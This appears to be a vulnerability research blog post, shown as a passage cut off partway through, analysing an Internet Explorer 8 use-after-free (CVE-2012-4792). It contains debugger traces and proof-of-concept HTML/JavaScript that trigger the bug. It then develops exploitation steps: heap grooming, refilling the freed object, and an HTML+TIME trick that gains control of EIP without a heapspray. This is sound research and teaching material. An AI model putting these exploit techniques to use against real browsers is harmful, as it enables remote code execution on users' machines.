Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory &#8220;mshtml!CButton::`vector deleting destructor&#8217;&#8221;. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef. </p>
<p>When we look back at the HTML code some of it makes sense<br />
<code>
<pre>
e1.appendChild(document.createElement('button'));
</pre>
<p></code><br />
This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some <a href="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf" target="_blank">log messages</a> that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through &#8220;<em>CButton::CreateElement</em>&#8220;.</p>
<p><a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/analysis-2/" rel="attachment wp-att-745"><img src="http://exodusintel.files.wordpress.com/2013/01/analysis-2.jpg?w=600" alt="Analysis-2" width="600" class="aligncenter size-medium wp-image-745" /></a></p>
<p>If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.</p>
<p><a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/analysis-3/" rel="attachment wp-att-746"><img src="http://exodusintel.files.wordpress.com/2013/01/analysis-3.jpg?w=600" alt="Analysis-3" width="600" class="aligncenter size-medium wp-image-746" /></a></p>
<p>By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.<br />
<code>
<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;script&gt;
	function helloWorld() {
                var e0 = null;
		var e1 = null;
		var e2 = null;
		try {
			Math.atan2(0xbadc0de, "before get element a")
			e0 = document.getElementById("a");
			Math.atan2(0xbadc0de, "before get element b")
			e1 = document.getElementById("b");
			Math.atan2(0xbadc0de, "before create element q")
			e2 = document.createElement("q");
			Math.atan2(0xbadc0de, "before apply element e1(b) -&gt; e2(q)")
			e1.applyElement(e2);
			Math.atan2(0xbadc0de, "before appendChild create element button")
			e1.appendChild(document.createElement('button'));
			Math.atan2(0xbadc0de, "before applyElement e1 -&gt; e0")
			e1.applyElement(e0);
			Math.atan2(0xbadc0de, "before e2 outertext")
			e2.outerText = "";
			Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
			e2.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "All done inside try loop")
		} catch(e) { }
		Math.atan2(0xbadc0de, "collecting garbage")
		CollectGarbage();
		Math.atan2(0xbadc0de, "Done collecting garbage")

	}

	&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
	&lt;form id="a"&gt;
	&lt;/form&gt;
	&lt;dfn id="b"&gt;
	&lt;/dfn&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p></code></p>
<p>We now run the poc again.</p>
<p><code class="windbg">
<pre>
0:000&gt; sxe ld:jscript
0:000&gt; g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:025&gt; bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025&gt; bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025&gt; bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025&gt; bl
 0 e 3d7d8f09     0001 (0001)  1:**** jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
 1 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 2 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025&gt; g
before get element a
before get element b
before create element q
before apply element e1(b) -&gt; e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -&gt; e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05312fa8=????????
</pre>
<p></code></p>
<p>We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.<br />
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their <a href="http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx">blog post</a>. </p>
<p>Lets go back to the crash and see where edi (pointing to the freed memory) comes from.</p>
<p><a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/analysis-4/" rel="attachment wp-att-750"><img src="http://exodusintel.files.wordpress.com/2013/01/analysis-4.jpg?w=600" alt="Analysis-4" width="600" class="aligncenter size-medium wp-image-750" /></a></p>
<p>Apparently the <em>CElement::FindDefaultElem</em> function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their <a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-61-47/4375.mshtml_5F00_shim32.sdb">Fix it Shim</a> so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the <em>CMarkup::OnLoadStatusDone</em> function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov     eax, [edi]) and then call a function (call    dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the <em>CMarkup::OnLoadStatusDone</em> function before the call to <em>CElement::FindDefaultElem</em>.</p>
<p><code class="windbg">
<pre>
0:000&gt; sxe ld:mshtml
0:000&gt; g
ModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll
1:025&gt; bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025&gt; bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:025&gt; bp !mshtml + 0x44224
1:025&gt; bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025&gt; g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)
1:025&gt; t

&lt;snip&gt;

3cf00585 56              push    esi
3cf00586 8bc3            mov     eax,ebx
3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)
1:025&gt; 
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0            mov     esi,eax
3cf0058f 3bf2            cmp     esi,edx
3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025&gt; 
3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025&gt; 
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8

1:025&gt; dc 04c1a6a8
04c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.&lt;............
04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L1
04c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'
1:025&gt; !heap -p -a 04c1a6a8
    address 04c1a6a8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 44cad98:          4c1a6a8              954 -          4c1a000             2000
          mshtml!CDoc::`vftable'
    7c919c0c ntdll!RtlAllocateHeap+0x00000e64
    3ceb29f0 mshtml!CDoc::operator new+0x00000013
    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
    78136247 urlmon!CBinding::CallOnProgress+0x00000030
    7816180b urlmon!CBinding::InstantiateObject+0x000000b7

1:025&gt; p
3cf005a6 5e              pop     esi
3cf005a7 5f              pop     edi
3cf005a8 5b              pop     ebx
3cf005a9 5d              pop     ebp
3cf005aa c20c00          ret     0Ch
</pre>
<p></code></p>
<p>The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we&#8217;ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the <em>mshtml!CDoc::operator new</em> function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.</p>
<p><code class="windbg">
<pre>

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 0049c000   iexplore.exe
ModLoad: 7c900000 7c9b2000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
ModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 78130000 78263000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000&gt; sxe ld:mshtml
0:000&gt; g
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is: 
(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
1:014&gt; g
ModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023&gt; bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023&gt; bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023&gt; bp !mshtml + 0x129f0
1:023&gt; bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x13
1:023&gt; sxe ld:jscript
1:023&gt; g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023&gt; ba w4 eax +  0x1A8
1:023&gt; g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023&gt; bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023&gt; g
before get element a
before get element b
before create element q
before apply element e1(b) -&gt; e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e              pop     esi
1:023&gt; ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0            test    eax,eax
3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01            push    1
3d07da7b 8bc7            mov     eax,edi
3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0            test    eax,eax
3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e            mov     dword ptr [esi],edi
1:023&gt; kv
ChildEBP RetAddr  Args to Child              
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023&gt; dc edi L58/4
055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...&lt;.........OZ.
055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..
055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1
055a2fa8  3cf70d10 mshtml!CButton::`vftable'
</pre>
<p></code></p>
<p>It looks like the CElement::SetDefaultElem &#8216;forgets&#8217; to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object. </p>
<p>Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the <a href="http://binvul.com/viewthread.php?tid=271&amp;extra=page%3D1">BinVul.com blogpost</a> by <a href="https://twitter.com/h4ckmp">@h4ckmp</a> who came to mostly the same conclusions as I did. </p>
<p>Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.</p>
<p><code><br />
e0 = document.getElementById("a");<br />
</code><br />
Get a reference to the form object<br />
<code><br />
e1 = document.getElementById("b");<br />
</code><br />
Get a reference to the dfn object<br />
<code><br />
e2 = document.createElement("q");<br />
</code><br />
Create a &#8216;Q&#8217; element<br />
<code><br />
e1.applyElement(e2);<br />
</code><br />
Set the Q element as the <a href="http://msdn.microsoft.com/en-us/library/ie/ms536341(v=vs.85).aspx">parent</a> of the DFN object. Our (partial) DOM Tree looks like this: <strong>Q-&gt;DFN</strong><br />
<code><br />
e1.appendChild(document.createElement('button'));<br />
</code><br />
We added a Button element to the DFN Element and our DOM Tree now looks like this: <strong>Q-&gt;DFN-&gt;BUTTON</strong><br />
<code><br />
e1.applyElement(e0);<br />
</code><br />
We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: <strong>Q-&gt;FORM-&gt;DFN-&gt;BUTTON</strong><br />
<code><br />
e2.outerText = "";<br />
</code><br />
And we just deleted everything &#8230;. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.<br />
<code><br />
e2.appendChild(document.createElement('body'));<br />
</code><br />
This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn&#8217;t come up with an easy explanation.</p>
<p>Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don&#8217;t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.</p>
<p>To test this I created the following POC<br />
<code>
<pre>
&lt;!doctype html&lt;
&lt;html&lt;
&lt;head&lt;
	&lt;script&lt;
		function helloWorld() {
				e_form = document.getElementById("formelm");
				e_div = document.getElementById("divelm");
				e_div.appendChild(document.createElement('button'))
				e_div.firstChild.applyElement(e_form);
				e_div.innerHTML = ""
				e_div.appendChild(document.createElement('body'));
				CollectGarbage();	
		}

	&lt;/script&lt;
&lt;/head&lt;
&lt;div id="divelm"&lt;&lt;/div&lt;
&lt;body onload="eval(helloWorld())"&lt;
	&lt;form id="formelm"&lt;
	&lt;/form&lt;
&lt;/body&lt;
&lt;/html&lt;
</pre>
<p></code></p>
<p>And yes, this causes the same problem. After running this through windbg with some log messages we get the following result<br />
<code class="windbg">
<pre>

0:000&gt; sxe ld:mshtml
0:000&gt; g
1:023&gt; bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023&gt; bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023&gt; bp !mshtml + 0x129f0
1:023&gt; g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023&gt; ba w4 eax +  0x1A8 ".printf \"Just added the Default Element\";.echo;g"
1:023&gt; sxe ld:jscript
1:023&gt; g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
1:023&gt; bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023&gt; g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????
</pre>
<p></code><br />
<a name="Exploitation"></a><br />
You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward</p>
<h2>Exploitation</h2>
<p>Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366750(v=vs.85).aspx">Low Fragmentation Heap</a>. This will make replacing the freed memory much more reliable because the LFH does not <a href="http://en.wikipedia.org/wiki/Coalescence_(computer_science)">merge coalescent free blocks</a> and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0&#215;58 (see <em>CButton::CreateElement</em>) so all we need to do is create an allocation of that size and we will refill the freed memory space.<br />
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote <a href="https://twitter.com/nudehaberdasher">Valasek</a>: &#8220;<a href="http://www.phrack.org/issues.html?issue=68&amp;id=12">The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.</a>&#8220;</p>
<p>Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.<br />
<a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/analysis-5/" rel="attachment wp-att-760"><img src="http://exodusintel.files.wordpress.com/2013/01/analysis-5.jpg?w=600" alt="Analysis-5" width="600" class="aligncenter wp-image-760" /></a></p>
<p>We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.<br />
<code>
<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;script&gt;
	function helloWorld() {
			e_form = document.getElementById("formelm");
			e_div = document.getElementById("divelm");

			for(i =0; i &lt; 20; i++) {
				document.createElement('button');
			}

			Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
			e_div.appendChild(document.createElement('button'))

			Math.atan2(0xbadc0de, "before adding button to Form")
			e_div.firstChild.applyElement(e_form);

			Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
			e_div.innerHTML = ""

			Math.atan2(0xbadc0de, "adding body element to the div")
			e_div.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "collecting garbage")
			CollectGarbage();
			e_div.className = "\u2424\u2424exodusintel.com--------------------------";
			Math.atan2(0xbadc0de, "Done collecting garbage")			
	}

	&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
	&lt;div id="divelm"&gt;&lt;/div&gt;
	&lt;form id="formelm"&gt;
	&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>running this results in the following crash<br />
<code>
<pre>
(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025&gt; dc edi
00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.
00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.
002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.
002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........
002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.&lt;(.!..G#.px.&lt;
002350f8  00000001 00000000 01000808 ffffffff  ................
</pre>
<p></code><br />
Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here.</p>
<p>Internet Explorer 8 has support for <a href="http://msdn.microsoft.com/en-us/library/ms533113(v=vs.85).aspx">HTML+TIME</a> which is based on the <a href="http://www.w3.org/TR/2005/REC-SMIL2-20050107/">Synchronized Multimedia Integration Language (SMIL)</a> something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.</p>
<p>For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected.<br />
<code>
<pre>
&lt;HTML XMLNS:t ="urn:schemas-microsoft-com:time"&gt;
&lt;head&gt;
	&lt;meta&gt;
		&lt;?IMPORT namespace="t" implementation="#default#time2"&gt;
	&lt;/meta&gt;
.
.
.
    &lt;t:ANIMATECOLOR id="myanim"/&gt;
.
.
.
</pre>
<p></code></p>
<p>by setting the '<em>values</em>' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.<br />
<code>
<pre>
animvalues = "\u4141\u4141"
while(animvalues.length &lt; 0xDC) {
	animvalues += animvalues
}
for(i = 0; i &lt; 21; i++) {
	animvalues += &quot;;cyan&quot;;
}
</pre>
<p></code></p>
<p>Then we can set the values property to this string and voila, we control EIP directly<br />
<code>
<pre>
try {
	a = document.getElementById('myanim');
	a.values = animvalues;
}
catch(e) {}
</pre>
<p></code><br />
Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some  'noise' with additional allocations being made, but nothing that isn't controllable.</p>
<p>Adding this we get the following POC:<br />
<code>
<pre>
&lt;!doctype html&gt;
&lt;HTML XMLNS:t ="urn:schemas-microsoft-com:time"&gt;
&lt;head&gt;
&lt;meta&gt;
	&lt;?IMPORT namespace="t" implementation="#default#time2"&gt;
&lt;/meta&gt;
&lt;script&gt;
	function helloWorld() {
		e_form = document.getElementById("formelm");
		e_div = document.getElementById("divelm");
		animvalues = "\u4141\u4141"
		while(animvalues.length &lt; 0xDC) {
			animvalues += animvalues
		}
		for(i = 0; i &lt; 21; i++) {
			animvalues += ";cyan";
		}
		for(i =0; i &lt; 20; i++) {
			document.createElement('button');
		}
		e_div.appendChild(document.createElement('button'))
		e_div.firstChild.applyElement(e_form);

		e_div.innerHTML = ""
		e_div.appendChild(document.createElement('body'));

		CollectGarbage();

		try {
			a = document.getElementById('myanim');
			a.values = animvalues;
		}
		catch(e) {}

	}

